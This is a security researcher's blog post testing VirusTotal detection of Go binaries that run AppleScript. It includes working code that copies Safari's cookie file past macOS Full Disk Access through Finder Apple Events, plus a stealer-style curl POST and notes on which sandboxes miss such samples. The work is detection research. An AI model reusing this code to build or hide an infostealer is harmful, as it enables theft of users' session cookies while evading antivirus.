The past two macOS samples I've looked at (Poseidon and Atomic Stealer) have heavily utilized AppleScript for their functionality. While looking at them both I noticed how they were both getting picked up by VirusTotal (using Sigma rule id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55, among other things) as utilizing AppleScript right off the bat. Since they both seemed to use AppleScript in two very different ways in those samples, I wanted to dig a little deeper and see what exactly made it work so well for these cyber criminals. Since I'm familiar with Go and it can easily be built into binaries for different platforms, I decided to use it as my launching point for the AppleScript.
Starting from the basics, here is the code I'm going to be comparing.
package main
import (
"fmt"
"os/exec"
)
func main() {
script := `
display dialog "What is your name?" default answer ""
set userName to text returned of result
display dialog "Hello, " & userName & "! Nice to meet you."
`
cmd := exec.Command("osascript", "-e", script)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Error executing AppleScript: %v\n", err)
return
}
fmt.Printf("AppleScript output: %s\n", output)
}
As you can see there isn't anything malicious about it, I was just testing it to see how easy it would be to launch AppleScript from Go, and to compare the binaries on VirusTotal. The two Go binaries can be compiled using the following commands (I'm on an ARM64 Macbook):
go build -o app
go build -ldflags="-s -w -buildid=" -trimpath -o app
The second command strips the binary, reducing the size from 2.24 MB to 1.51 MB, replacing the build ID, and forces the binary to use project relative paths instead of absolute paths (shout to xnacly). If you want to take a look at them for yourself, checkout build 1 and build 2.
Uploading both of the produced binaries to Virus Total yields no detections, and no hits for the normal AppleScript Sigma rules that were seen in the previous blog posts covering malware that utilized it. Why is this? Most likely it has something to do with how Go handles strings. Here's a related quote about the AlphaGolang malware that was analyzed by SentinelOne.
To make things worse, Go doesn’t null-terminate strings. The linker places strings in incremental order of length and functions load these strings with a reference to a fixed length. That’s a much safer implementation but it means that even a cursory glance at a Go binary means dealing with giant blobs of unrelated strings.
And how right they are! Taking a look at the first binary (build 1), here is its string output.
Notice how one of the main indicators of AppleScript being launched (the "osascript" command) has strings prepended and appended to it. This can probably screw with some of the detection rules already and I haven't even tried to hide that its being used. While executing the command this way stinks a bit just because it's easier to fingerprint the Go command execution package being used, it's better than using some super-unique package that a detection can be written for that has an extremely high accuracy for catching something malicious.
Okay, so taking a step back, currently we have zero detections (of course, nothing malicious), zero rule hits, and a relatively small binary (for Go). Great! Let's throw some extra features in there and see what kind of alarm bells start going off.
Stepping It Up
I'm going to continue to add functionality that can be utilized maliciously to the binary until I get at least a couple hits on VirusTotal. After that is achieved, I can attempt to get around those detections. Here I'm going to start with a simple POST request being sent out.
To test this I added a function to my pre-existing Go program.
func networkCall() {
script := `
try
set result_send to (do shell script "curl -X POST -H \"uuid: 399122bdb9844f7d934631745e22bd06\" -H \"user: test_user\" -H \"buildid: id117\" http://127.0.0.1:8090/test")
end try
`
cmd := exec.Command("osascript", "-e", script)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Error executing AppleScript: %v\n", err)
return
}
fmt.Printf("AppleScript output: %s\n", output)
}
Then I started netcat and ran the program.
nc -lvn 8090
POST /test HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.7.1
Accept: */*
uuid: 399122bdb9844f7d934631745e22bd06
user: test_user
buildid: id117
Since that's working, I can then change the internal URL to a public one (like Google) and move the original prompting AppleScript into its own function. I'm not going to call the prompting function, but will leave it inside the binary in order to see if it sets off any detections. Here is the full code:
package main
import (
"fmt"
"os/exec"
)
func main() {
// promptUser()
networkCall()
}
func promptUser() {
script := `
display dialog "What is your name?" default answer ""
set userName to text returned of result
display dialog "Hello, " & userName & "! Nice to meet you."
`
cmd := exec.Command("osascript", "-e", script)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Error executing AppleScript: %v\n", err)
return
}
fmt.Printf("AppleScript output: %s\n", output)
}
func networkCall() {
script := `
try
set result_send to (do shell script "curl -X POST -H \"uuid: 399122bdb9844f7d934631745e22bd06\" -H \"user: test_user\" -H \"buildid: id117\" http://google.com/test")
end try
`
cmd := exec.Command("osascript", "-e", script)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Error executing AppleScript: %v\n", err)
return
}
fmt.Printf("AppleScript output: %s\n", output)
}
From now on I'm only using the build command that was utilized for the original binary 2 as well, to keep this simple (and at least a little more realistic). Also, if you didn't notice, the AppleScript utilized in the "networkCall" function is taken directly from the Poseidon Info Stealer (and then altered to not aim for their C2).
This binary can be found here on VT and scored a 0/66, so I guess it's time to move on to bigger and better things. In order to save time, this next function is going to need to be at least slightly more malicious.
Here is a function I added to copy a created file to the "tmp" user directory.
func file2tmp() {
script := `
on run
set userTmpDir to (POSIX path of (path to home folder)) & "Library/Caches/TemporaryItems/"
set newFolderName to "ExampleFolder"
set newFolderPath to userTmpDir & newFolderName & "/"
-- Create a new folder
do shell script "mkdir -p " & quoted form of newFolderPath
-- Create an example file to copy
set exampleFileName to "example.txt"
set exampleFilePath to userTmpDir & exampleFileName
do shell script "echo 'This is an example file.' > " & quoted form of exampleFilePath
-- Copy the example file to the new folder
set newFilePath to newFolderPath & exampleFileName
do shell script "cp " & quoted form of exampleFilePath & " " & quoted form of newFilePath
end run
`
cmd := exec.Command("osascript", "-e", script)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Error executing AppleScript: %v\n", err)
return
}
fmt.Printf("AppleScript output: %s\n", output)
}
For the next function I was adding in, I wanted it to copy Safari's cookies over to a the tmp directory, but I ran into some interesting functionality I was unaware of. macOS has a protection mechanism in it called "Full Disk Access". By default, a lot of directories and files are protected and inaccessible via normal methods like the terminal or other applications. The protected files are those like Safari's cookies, Apple Notes, and tons of others. This is what I was running into when attempting to access these items via the command line:
Then when I was trying to access them the normal way with AppleScript it was failing as well:
I ended up having to refer back to Poseidon's AppleScript to see where I went wrong, and came across the following command.
tell application "Finder"
Googling around about this line and issues with AppleScript and Full Disk Access I finally stumbled across a post made by Wojciech Reguła. In it, he says:
The
kTCCServiceAppleEvents
private TCC entitlement allows sending an Apple Event to any application. So, we can send an Apple Event to Finder (that has Full Disk Access entitlement) that will replace the user’s TCC database. 🤯
Given that this post was made in 2022 (2 years ago) I figured that this bug was probably patched by now. Of course Finder needs a large degree of access, but does AppleScript need to be able to tell finder what to do? Trying it out, I found out that my previous assumption was definitely not the case, and that this tactic still works great.
Here is the function to copy the "Cookies.binarycookies" file from its related Safari folder in that user's directory.
func safariCookies() {
script := `
set destinationFolderPath to ((path to home folder as text))
tell application "Finder"
try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
end try
end try
end tell
`
cmd := exec.Command("osascript", "-e", script)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Error executing AppleScript: %v\n", err)
return
}
fmt.Printf("AppleScript output: %s\n", output)
}
So all in at this point, the binary accesses a sensitive part of the file system to duplicate a file containing cookies for Safari, it accesses the tmp directory, it can do a network call, and it can prompt the user. I've got the bare minimums of an info stealer at my disposal.
We need to remember that these sandboxes are very stupid (for the most part), especially when it comes to macOS malware. If a piece of malware doesn't fully execute on its own with as close to zero user interaction as possible, the sandbox is probably going to miss a solid 40% of its functionality. Some of the VirusTotal sandboxes will get hung up on things like prompts; asking for the user's password, asking for access to specific folder, etc. The Poseidon malware itself begins by creating a prompt that looks like an official legitimate system prompt asking for the user's password, which it then utilizes to silently (in the background) perform the rest of its malicious tasks.
Interpreting VirusTotal Results
So even though I'm not asking for the user's password right off the bat, an "Allow" prompt will still be presented if someone tries to run this. Will that hang up the sandbox like the password one did with previous samples? I hope not. Feel free to take a look at the binary on VT here.
Again, 0/66 results, no useful rule hits, and it doesn't show any of the file activity occurring... which is strange. This may be related to it being strictly an arm64 binary so I went ahead and compiled one for Intel Macs using the following command:
GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -buildid=" -trimpath -o appIntel
Interestingly enough and it does look like certain sandboxes only support certain architectures. For the arm64 binary the only sandbox that was running it was Zenbox macOS, whereas the amd64 binary was run in OS X Sandbox and VirusTotal Box of Apples. I also have to hand it to Recorded Future's Triage because it allows you to interact directly with the VM (similarly to Any.Run), even though it only supports amd64. Even weirder, it looks like even though Zenbox is the default choice for arm64 binaries, none of the ones I've created fully execute through it, as they don't even show the AppleScript running in the process tree. So it may not support arm64, or it may not be able to get past the prompt for the execution to continue.
You'll notice that the VirusTotal Box of Apples wasn't done executing yet. I'm not sure if there was a backup or what, but I waited 20 minutes and it still hadn't finished so I'm just moving on without its results. Luckily the OS X Sandbox did pickup the execution of AppleScript and caught all of the commands being issued.
Nothing was flagged as necessarily malicious, but hey, at least this one saw what was going on and reported back about it! Throughout this process there was a lot more room for me to increase how malicious the binary actually was and tie some of the functions together so that instead of performing specific actions in a vacuum they worked together to more closely emulate an information stealer. This has definitely been a great learning experience overall. It's been great to learn more about macOS and how AppleScript functions.